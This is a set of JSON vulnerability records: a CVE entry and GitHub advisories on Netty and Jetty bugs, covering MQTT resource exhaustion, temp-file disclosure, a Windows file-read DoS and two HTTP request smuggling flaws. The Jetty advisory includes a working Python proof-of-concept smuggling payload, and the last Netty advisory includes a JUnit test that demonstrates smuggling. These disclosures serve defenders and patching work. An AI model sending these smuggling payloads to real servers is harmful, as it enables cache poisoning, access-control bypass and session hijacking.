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            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:66488"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:41951"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:37390"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:66545: Red Hat AMQ Broker 7.13.6"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:66488: Red Hat AMQ Broker 7.14.1"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:41951: Red Hat Data Grid 8.6.2"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-05-13T19:02:22.095Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-05-13T18:23:37.563Z",
            "value": "Made public."
          }
        ],
        "title": "netty: io.netty/netty-codec-mqtt: Netty: Denial of Service due to excessive resource consumption from crafted MQTT 5 header",
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
            },
            {
              "status": "affected",
              "version": "\u003c 4.1.133.Final"
            }
          ]
        },
        {
          "product": "netty-codec-mqtt",
          "vendor": "io.netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
            },
            {
              "status": "affected",
              "version": "\u003c 4.1.133.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T18:23:37.563Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx"
        }
      ],
      "source": {
        "advisory": "GHSA-jfg9-48mv-9qgx",
        "discovery": "UNKNOWN"
      },
      "title": "Netty: Resource exhaustion in MqttDecoder"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44248",
    "datePublished": "2026-05-13T18:23:37.563Z",
    "dateReserved": "2026-05-05T16:33:55.844Z",
    "dateUpdated": "2026-09-11T12:09:13.339Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.76.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.77.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-378",
      "CWE-379",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-10T08:46:50Z",
    "nvd_published_at": "2022-05-06T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Description ###\n[GHSA-5mcr-gq6c-3hq2](https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2) (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.\n\n### Impact ###\n\nWhen netty\u0027s multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThis only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\n\n### Vulnerability Details ###\n\nTo fix the vulnerability the code was changed to the following:\n\n```java\n    @SuppressJava6Requirement(reason = \"Guarded by version check\")\n    public static File createTempFile(String prefix, String suffix, File directory) throws IOException {\n        if (javaVersion() \u003e= 7) {\n            if (directory == null) {\n                return Files.createTempFile(prefix, suffix).toFile();\n            }\n            return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();\n        }\n        if (directory == null) {\n            return File.createTempFile(prefix, suffix);\n        }\n        File file = File.createTempFile(prefix, suffix, directory);\n        // Try to adjust the perms, if this fails there is not much else we can do...\n        file.setReadable(false, false);\n        file.setReadable(true, true);\n        return file;\n    }\n```\n\nUnfortunately, this logic path was left vulnerable:\n\n```java\n        if (directory == null) {\n            return File.createTempFile(prefix, suffix);\n        }\n```\n\nThis file is still readable by all local users.\n\n### Patches ###\n\nUpdate to 4.1.77.Final\n\n### Workarounds ###\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user or update to Java 7 or above.\n\n### References ###\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n\n### For more information ###\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [netty](https://github.com/netty/netty)\n",
  "id": "GHSA-269q-hmxg-m83q",
  "modified": "2022-05-10T08:46:50Z",
  "published": "2022-05-10T08:46:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-269q-hmxg-m83q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/185f8b2756a36aaa4f973f1a2a025e7d981823f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220616-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Information Disclosure Vulnerability in io.netty:netty-codec-http"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0"
            },
            {
              "fixed": "12.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.32"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.59"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "fixed": "9.4.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:40:31Z",
    "nvd_published_at": "2026-04-14T12:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users\u0027 responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html",
  "id": "GHSA-355h-qmc2-wpwf",
  "modified": "2026-08-14T18:39:11Z",
  "published": "2026-04-14T23:40:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458187"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50263"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50223"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50222"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50221"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25089"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21773"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17668"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14272"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.118.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T18:14:47Z",
    "nvd_published_at": "2025-02-10T22:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
  "id": "GHSA-389x-839f-4rhx",
  "modified": "2025-03-19T14:51:27Z",
  "published": "2025-02-10T18:14:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service attack on windows app using Netty"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}